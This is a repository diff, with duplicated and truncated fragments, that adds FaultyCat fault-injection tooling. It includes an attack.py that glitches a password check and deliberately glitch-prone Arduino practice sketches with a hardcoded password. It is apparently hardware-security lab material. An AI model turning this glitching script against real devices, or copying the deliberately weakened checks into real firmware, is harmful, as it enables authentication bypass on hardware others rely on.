+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
new file mode 100644
index 0000000..ec5db1f
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
@@ -0,0 +1,83 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+const String correctPassword = "secure123";  // Hardcoded password
+String inputString = "";                     // Variable to hold user input
+bool stringComplete = false;                 // Flag to indicate when a string is complete
+bool loggedIn = false;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(200);  // Delay for initialization
+  Serial.print("[-]> ");
+}
+
+void prompt(){
+  // Reset for the next input without checking password
+  inputString = "";
+  stringComplete = false;
+  if(loggedIn == false){
+    Serial.print("[-]"); // not logged in 
+  }else{
+    Serial.print("[+]"); // logged in
+  }
+  Serial.print("> ");
+}
+
+void loop() {
+  // If the string is complete, process the input
+  if (stringComplete) {
+    // Glitch-prone section: making the comparison more complex and glitch-susceptible
+    volatile bool match = false;  // Using 'volatile' to increase glitch vulnerability
+    
+    // Introduce some artificial delays (vulnerable points for glitching)
+    for (volatile int i = 0; i < 100; i++) {
+      delayMicroseconds(1);  // Short delay to give more opportunity for glitches
+    }
+    
+    // Dummy operation: XOR password with itself (reversible) before comparison
+    volatile String tempPassword = correctPassword;
+    for (int i = 0; i < tempPassword.length(); i++) {
+      tempPassword[i] ^= 0xFF;  // XOR with 0xFF (dummy operation to increase complexity)
+      tempPassword[i] ^= 0xFF;  // XOR back to restore original password
+    }
+
+    // Check if input is "ping"
+    if (inputString == "ping") {
+      Serial.println("pong");  // Respond with "pong" if input is "ping"
+      prompt();
+      return;  // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
+    }
+    // Now compare the user input with the hardcoded password, but with timing window
+    else if (inputString == correctPassword) {
+      match = true;  // Passwords match
+    }
+
+    // Add a chance for glitches to affect this critical condition
+    if (match) {
+      Serial.println("Password correct!");
+      loggedIn = true;
+    } else {
+      Serial.println("Password incorrect!");
+    }
+    prompt();
+  }
+
+  // Listen for input from the user
+  while (Serial.available()) {
+    char inChar = (char)Serial.read();  // Read the incoming character
+    
+    // Check if it is the return character (indicating the end of input)
+    if (inChar == '\r' || inChar == '\n') {
+      stringComplete = true;
+    } else {
+      // Append the character to the input string
+      inputString += inChar;
+    }
+  }
+}
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
new file mode 100644
index 0000000..05d97a6
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
new file mode 100644
index 0000000..0aacecf
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
@@ -0,0 +1,80 @@
+import cmd
+import typer
+from rich.console import Console
+from rich.table import Table
+
+
+def is_valid_number(number):
+    if number < 0:
+        raise typer.BadParameter("Number must be positive.")
+    return number
+
+class CMDInterface(cmd.Cmd):
+    intro = "Type help or ? to list commands.\n"
+    prompt = "?> "
+    file = None
+    doc_header = "Commands"
+    misc_header = "Misc Commands"
+    undoc_header = "Undocumented Commands"
+
+    def __init__(self, faulty_worker):
+        super().__init__()
+        self.faulty_worker = faulty_worker
+
+    def do_config(self, args):
+        """Configure the FaultyCat."""
+        print("Configuring the FaultyCat...")
+        table_config = Table(title="Board configuration")
+        table_config.add_column("Parameter", style="cyan")
+        table_config.add_column("Value", style="magenta")
+        table_config.add_row(
+            "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}"
+        )
+        table_config.add_row(
+            "Pulse time",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}",
+        )
+        table_config.add_row(
+            "Pulse power",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}",
+        )
+        table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}")
+        Console().print(table_config)
+
+    def do_set(self, args):
+        """Set a parameter."""
+        print("Setting a parameter...")
+        args_list = args.split()
+        if args == "help" or args == "?":
+            print("Available parameters:")
+            print("\t[time] pulse_time")
+            print("\t[count] pulse_count")
+            print("\tport")
+            return
+
+        if len(args_list) != 2:
+            print("Invalid number of arguments.")
+            return
+
+        if args_list[0] == "pulse_time" or args_list[0] == "time":
+            self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1])))
+
+        if args_list[0] == "pulse_count" or args_list[0] == "count":
+            self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1])))
+
+        if args_list[0] == "port":
+            self.faulty_worker.set_serial_port(args_list[1])
+            if not self.faulty_worker.validate_serial_connection():
+                typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED)
+                return
+
+        self.do_config(args)
+
+    def do_start(self, args):
+        """Start the FaultyCat."""
+        print("Starting the FaultyCat...")
+        self.faulty_worker.start_faulty_attack()
+
+    def do_exit(self, line):
+        """Exit the CLI."""
+        return True
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
new file mode 100644
index 0000000..f795f79
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
@@ -0,0 +1,61 @@
+from enum import Enum
+
+class Commands(Enum):
+    COMMAND_HELP              = "h"
+    COMMAND_ARM               = "a"
+    COMMAND_DISARM            = "d"
+    COMMAND_PULSE             = "p"
+    COMMAND_ENABLE_TIMEOUT    = "en"
+    COMMAND_DISABLE_TIMEOUT   = "di"
+    COMMAND_FAST_TRIGGER      = "f"
+    COMMAND_FAST_TRIGGER_CONF = "fa"
+    COMMAND_INTERNAL_HVP      = "ih"
+    COMMAND_EXTERNAL_HVP      = "eh"
+    COMMAND_CONFIGURE         = "c"
+    COMMAND_TOGGLE_GPIO       = "t"
+    COMMAND_STATUS            = "s"
+    COMMAND_RESET             = "r"
+    
+    def __str__(self):
+        return self.value
+
+class BoardStatus(Enum):
+    STATUS_ARMED          = "armed"
+    STATUS_DISARMED       = "disarmed"
+    STATUS_CHARGED        = "charged"
+    STATUS_PULSE          = "pulsed"
+    STATUS_NOT_CHARGED    = "Not Charged"
+    STATUS_TIMEOUT_ACTIVE = "Timeout active"
+    STATUS_TIMEOUT_DEACT  = "Timeout deactivated"
+    STATUS_HVP_INTERVAL   = "HVP interval"
+    
+    def __str__(self):
+        return self.value
+    
+    @classmethod
+    def get_status_by_value(cls, value):
+        for status in cls.__members__.values():
+            if status.value == value:
+                return status
+        return None
+
+class ConfigBoard:
+    BOARD_CONFIG = {
+        "pulse_time" : 1.0,
+        "pulse_power": 0.012200,
+        "pulse_count": 1,
+        "port"       : "COM1"
+    }
+    def __init__(self) -> None:
+        self.board_config = ConfigBoard.BOARD_CONFIG
+        self.board_commands = Commands
+    
+    def get_config(self) -> dict:
+        return self.board_config
+
+    def set_config(self, config: dict) -> None:
+        self.board_config = config
+    
+    def __str__(self) -> str:
+        return f"Board config: {self.board_config}"
+    
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
new file mode 100644
index 0000000..3fd677f
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
@@ -0,0 +1,97 @@
+import platform
+import serial
+import time
+import serial.tools.list_ports
+import threading
+
+from  .ConfigBoard import BoardStatus
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+DEFAULT_SERIAL_BAUDRATE = 921600
+
+class UART(threading.Thread):
+    def __init__(self, serial_port: str = DEFAULT_COMPORT):
+        self.serial_worker          = serial.Serial()
+        self.serial_worker.port     = serial_port
+        self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE
+        self.recv_cancel            = False
+        #self.daemon                 = True
+
+    def __del__(self):
+        self.serial_worker.close()
+
+    def __str__(self):
+        return f"Serial port: {self.serial_worker.port}"
+
+    def set_serial_port(self, serial_port: str):
+        self.serial_worker.port = serial_port
+    
+    def set_serial_baudrate(self, serial_baudrate: int):
+        self.serial_worker.baudrate = serial_baudrate
+
+    def is_valid_connection(self) -> bool:
+        try:
+            self.open()
+            self.close()
+            return True
+        except serial.SerialException as e:
+            return False
+
+    def get_serial_ports(self):
+        return serial.tools.list_ports.comports()
+
+    def reset_buffer(self):
+        self.serial_worker.reset_input_buffer()
+        self.serial_worker.reset_output_buffer()
+
+    def cancel_recv(self):
+        self.recv_cancel = True
+
+    def open(self):
+        self.serial_worker.open()
+        self.reset_buffer()
+    
+    def close(self):
+        self.reset_buffer()
+        self.serial_worker.close()
+
+    def is_connected(self):
+        return self.serial_worker.is_open
+
+    def send(self, data):
+        self.serial_worker.write(data)
+        self.serial_worker.write(b"\n\r")
+        self.serial_worker.flush()
+    
+    def recv(self):
+        if not self.is_connected():
+            self.open()
+        try:
+            while not self.recv_cancel:
+                time.sleep(0.1)
+                
+                bytestream = self.serial_worker.readline()
+                if self.recv_cancel:
+                    self.recv_cancel = False
+                    return None
+                return bytestream
+        except serial.SerialException as e:
+            print(e)
+            return None
+        except KeyboardInterrupt:
+            self.recv_cancel = True
+            return None
+    
+    def send_recv(self, data):
+        self.send(data)
+        return self.recv()
+
+    def stop_worker(self):
+        self.recv_cancel = True
+        self.reset_buffer()
+        self.close()
+        self.join()
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
new file mode 100644
index 0000000..0bb2e54
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
@@ -0,0 +1,68 @@
+import threading
+import time
+import typer
+from rich.console import Console
+from rich.table import Table    
+
+from .UART import UART
+from .ConfigBoard import ConfigBoard
+
+class FaultyWorker(threading.Thread):
+    def __init__(self):
+        super().__init__()
+        #self.daemon = True
+        self.workers = []
+        self.board_uart = UART()
+        self.board_configurator = ConfigBoard()
+        self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"]   
+        self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"]
+    
+    def add_worker(self, worker):
+        self.workers.append(worker)
+    
+    def stop_workers(self):
+        for worker in self.workers:
+            worker.join()
+    
+    def run_workers(self):
+        for worker in self.workers:
+            worker.start()
+    
+    def set_serial_port(self, serial_port):
+        self.board_uart.set_serial_port(serial_port)
+    
+    def validate_serial_connection(self):
+        return self.board_uart.is_valid_connection()
+    
+    def set_pulse_count(self, pulse_count):
+        self.pulse_count = pulse_count
+        self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count
+    
+    def set_pulse_time(self, pulse_time):
+        self.pulse_time = pulse_time
+        self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time
+    
+    def start_faulty_attack(self):
+        try:
+            self.board_uart.open()
+            time.sleep(0.1)
+            typer.secho("Board connected.", fg=typer.colors.GREEN)
+            typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            time.sleep(1)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+            
+            typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN)
+            time.sleep(1)
+            typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN)
+            for i in range(self.pulse_count):
+                typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN)
+                self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+                time.sleep(self.pulse_time)
+            
+            typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            self.board_uart.close()
+            typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW)
+        except Exception as e:
+            typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED)
\ No newline at end of file

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
new file mode 100644
index 0000000..ec5db1f
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
@@ -0,0 +1,83 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+const String correctPassword = "secure123";  // Hardcoded password
+String inputString = "";                     // Variable to hold user input
+bool stringComplete = false;                 // Flag to indicate when a string is complete
+bool loggedIn = false;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(200);  // Delay for initialization
+  Serial.print("[-]> ");
+}
+
+void prompt(){
+  // Reset for the next input without checking password
+  inputString = "";
+  stringComplete = false;
+  if(loggedIn == false){
+    Serial.print("[-]"); // not logged in 
+  }else{
+    Serial.print("[+]"); // logged in
+  }
+  Serial.print("> ");
+}
+
+void loop() {
+  // If the string is complete, process the input
+  if (stringComplete) {
+    // Glitch-prone section: making the comparison more complex and glitch-susceptible
+    volatile bool match = false;  // Using 'volatile' to increase glitch vulnerability
+    
+    // Introduce some artificial delays (vulnerable points for glitching)
+    for (volatile int i = 0; i < 100; i++) {
+      delayMicroseconds(1);  // Short delay to give more opportunity for glitches
+    }
+    
+    // Dummy operation: XOR password with itself (reversible) before comparison
+    volatile String tempPassword = correctPassword;
+    for (int i = 0; i < tempPassword.length(); i++) {
+      tempPassword[i] ^= 0xFF;  // XOR with 0xFF (dummy operation to increase complexity)
+      tempPassword[i] ^= 0xFF;  // XOR back to restore original password
+    }
+
+    // Check if input is "ping"
+    if (inputString == "ping") {
+      Serial.println("pong");  // Respond with "pong" if input is "ping"
+      prompt();
